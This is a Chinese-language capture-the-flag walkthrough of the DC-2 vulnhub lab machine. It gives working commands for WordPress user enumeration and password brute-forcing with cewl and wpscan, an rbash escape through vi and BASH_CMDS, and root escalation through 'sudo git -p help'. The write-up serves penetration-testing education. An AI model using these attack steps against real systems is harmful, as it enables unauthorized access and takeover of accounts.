vulhub靶场 DC-2 解析及完整复现
2024-2-2 14:32:33 Author: www.freebuf.com(查看原文) 阅读量:5 收藏

环境准备:

kali: NAT模式 网段 :192.168.200.0

DC-2: NAT模式 网段 :192.168.200.0

保证靶机和攻击机在一个网段上

信息收集

收集同网段存货主机IP地址

nmap -sP  ip地址  

1703570674_658a6cf206bf7e1240ded.png!small?1703570674558

arp-scan -l

1703570666_658a6cead3aeffd11808c.png!small?1703570667088

显示错误页面,显然是重定向错误,在本地HOST文件中添加这样的关系

1703570661_658a6ce532fb120cd38cc.png!small?1703570661387

本地中

1703570652_658a6cdced8d119457445.png!small?1703570653028

kali中host地址

vim /etc/hosts

以上都可以

1703570644_658a6cd4a938eac1d44ff.png!small?1703570645885

之后就重定向正常页面啦

第一flag提示

1703570636_658a6cccb5481d2ca9984.png!small?1703570637025

cewl介绍

cewl是一个ruby应用,爬行指定url的指定深度。
也可以跟一个外部链接,结果会返回一个单词列表,
这个列表可以扔到John the ripper工具里进行密码破解。
-w   将输出结果写入到文件中
-d  爬行深度,默认为2
-m 最小长度,默认为3
cewl http://dc-2 -w passwd.txt #扒取网站字典,将结果输入到passwd.txt中

1703570628_658a6cc4a1f04ebf1e0e7.png!small?1703570628880

用 cewl http://192.168.28.179 -w passwd.txt ,但是没有输出,应该是IP地址给重定向了,用域名进行扒取

cat passwd.txt #查看字典内容

1703570619_658a6cbb8bc96ad9ffafd.png!small?1703570619844

有密码字典 还需要找账号和登陆后台。

用dirb命令来挖目录

扩展:获取网站目录目录的工具有:dirb(kali自带)、御剑、dirsearch。

dirb http://dc-2 

1703570606_658a6cae0338ff85aa04d.png!small?1703570606129

1703570610_658a6cb295a3d9477652d.png!small?1703570611078

登陆页面,通过插件可以知道,这是WordPress的CMS ,漏扫工具是wpscan

1703570598_658a6ca6a68ae72f8b15d.png!small?1703570599787

目前已经获取了网站的后台网址和密码,现在还差用户名,那么

wpscan --url http://dc-2/ -e u #枚举用户名

参数:wpcan 参数

-u 枚举用户名

-P 加指定文件 ,代表密码文件

-U 加指定文件,代表账户文件

最终可以查到三个用户名

1703570589_658a6c9d02475892facf7.png!small?1703570590521

将枚举出的用户名保存到文件中

1703570577_658a6c91e58a670297334.png!small?1703570578246

wpscan --url http://dc-2/ -U user.txt -P passwd.txt #爆破WordPress的账号和密码

1703570568_658a6c88f3143db307b28.png!small?1703570569484

结果,爆破出jerry和tom的密码

1703570560_658a6c80cc463941e0ab8.png!small?1703570561256

利用其一的账户和密码进行登录

1703570555_658a6c7b28dc94a3fcf29.png!small?1703570555290

登陆成功,这便是后台页面

1703570390_658a6bd6a2c44e178273b.png!small?1703570391286

flag1

1703570546_658a6c721d0eaa0516079.png!small?1703570546366

flag2

1703570539_658a6c6b988f4f3b5f2de.png!small?1703570539833

If you can't exploit WordPress and take a shortcut, there is another way.
# 如果你不能用 WordPress 走捷径的话,这里还有另一条路

Hope you found another entry point.
# 希望你能找到另一个切入点

前面的端口号还有一个7744的端口使用

使用jerry测试三组全部失败

1703570528_658a6c6058911357f75d7.png!small?1703570528717

接着尝试,Tom账户是可以登录的

1703570511_658a6c4feedab7bd04073.png!small?1703570512452

1703570519_658a6c571faed0a752b6a.png!small?1703570519331

compgen -c       //查看可以使用的指令

发现有一个VI 指令是可以使用的

1703570498_658a6c429793dbfaa2261.png!small?1703570498713

文件显示内容,发现FLAG3.txt,并成功使用和打开

1703570490_658a6c3ad335fefa5376b.png!small?1703570491411

flag3.txt

poor old Tom is always running after Jerry.
# 可怜的老汤姆总是在追杰瑞
Perhaps he should su for all the stress he causes.
# 也许他应该为自己造成的压力负责

英文当中,有两个账户tom,jerry, su这应该算是提示提权

vi 提权

vi flag3.txt
:set shell=/bin/sh  #shell需要时系统中原本就有的变量,不能自己捏造变量。
:shell

1703570481_658a6c319ad57ed96462d.png!small?1703570481810

发现在jerry下的flag.txt 用vi查看

1703570473_658a6c29695b28b7dc14e.png!small?1703570473702

flag4.txt

1703570465_658a6c217ad1b74a469b6.png!small?1703570465819

Good to see that you've made it this far - but you're not home yet.
# 很高兴看到你走了这么远-但你还没回家。
You still need to get the final flag (the only flag that really counts!!!)
# 你仍然需要得到最终的标志(唯一真正重要的标志!!!) 
No hints here - you're on your own now. 
# 这里没有提示-你现在只能靠自己了。
Go on - git outta here!!!! 
# 去吧,离这里远点 #用 git 提权

英文提示:用git提权,最终还需要拿到root权限

前面FLAG3有提示su,切到root目录查看

1703570457_658a6c1973bfcc33ab3a9.png!small?1703570457552

进入root目录

1703570452_658a6c143e6c637ca94b6.png!small?1703570452362

不让切换,做了限制 su jerry 是不可以的

什么是rbash?它与一般shell的区别在于会限制一些行为,让一些命令无法执行

export -p        //查看环境变量
BASH_CMDS[a]=/bin/sh;a         //把/bin/sh给a
/bin/bash
export PATH=$PATH:/bin/         //添加环境变量
export PATH=$PATH:/usr/bin      //添加环境变量
提权成功

仍然权限不够

1703570441_658a6c096d9765a93cd7e.png!small?1703570442815

用sudo -l 查看可以运用的权限

git 是root的权限,可以提权

1703570432_658a6c00673d9798b8ad1.png!small?1703570432601

sudo git -p help 
!/bin/bash #输入!/bin/bash,即可打开一个用户为root的shell


git提权的两种方式
1、sudo git help config #在末行命令模式输入 
!/bin/bash 或 !'sh' #完成提权 
2、sudo git -p help 
!/bin/bash #输入!/bin/bash,即可打开一个用户为root的shell

final-flag.txt

1703570416_658a6bf01e64508cf3c01.png!small?1703570416498

1703570422_658a6bf687d2a45fbb8f5.png!small?1703570423164

总结:

1.重定向 #在文件中加入域名和IP地址的关系映射

进入网页时出现错误情况,不会自动跳转到DC-2去,在本地DNS下绑定

2.cewl使用 #爬取URL地址和深度

flag的提示,使用cewl的命令,打印出密码破解的字典

3.wpscan使用 #扫描wordpress这个CMS的工具

暴力破解账户之前需要提供密码文件和账户文件

4.rbash提权
5.git提权

参考:https://www.cnblogs.com/starci/p/16484363.html

文章参考:https://blog.csdn.net/a310034188/article/details/121624538

提权手段:https://www.cnblogs.com/zaqzzz/p/12075132.html#2rbash%E7%BB%95%E8%BF%87


文章来源: https://www.freebuf.com/articles/web/387748.html
如有侵权请联系:admin#unsafe.sh